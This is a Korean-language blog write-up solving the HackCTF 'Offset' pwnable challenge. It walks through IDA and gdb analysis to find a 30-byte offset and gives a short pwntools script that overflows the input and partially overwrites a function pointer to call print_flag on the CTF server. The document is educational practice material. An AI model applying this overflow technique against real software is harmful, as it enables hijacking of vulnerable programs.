[HackCTF] Offset 풀이 (150p)
Wargame/HackCTF

[HackCTF] Offset 풀이 (150p)

문제 종류 - Pwnable
사용한 툴 - IDA

nc ctf.j0n9hyun.xyz 3007

 

풀이

IDA에 파일을 넣어보자.

main 함수 부분이다. gets로 s를 입력받고, select_func 함수에 s를 넘겨준다.

select_func 함수는 포인터 함수 v3에 two를 일단 넣고, src를 복사한 dest가 one이면 one을 리턴, one이 아니면 two를 리턴한다. 여기서 리턴 함수가 one, two가 아니라 print_flag라는 함수라면?

이제 gdb를 실행해보자.

select_func 끝 부분에서 eax를 call 한다. eax에는 함수의 반환 값이 저장되는데, 이 부분에 bp를 걸고 eax 값을 확인하자.

이 값을 입력한 값이 저장되어 있는, ebp-0x2a 근처에서 찾아보도록 하자.

총 30칸만큼 떨어져 있다.

더미 값(30byte) + print_flag의 시작 주소(2byte)인 페이로드를 작성하자.

  1 from pwn import *
  2
  3 p = remote('ctf.j0n9hyun.xyz',3007)
  4
  5 payload = '\x90'*30
  6 payload += '\xd8\x06'
  7
  8 p.recvline()
  9 p.sendline(payload)
 10 p.interactive()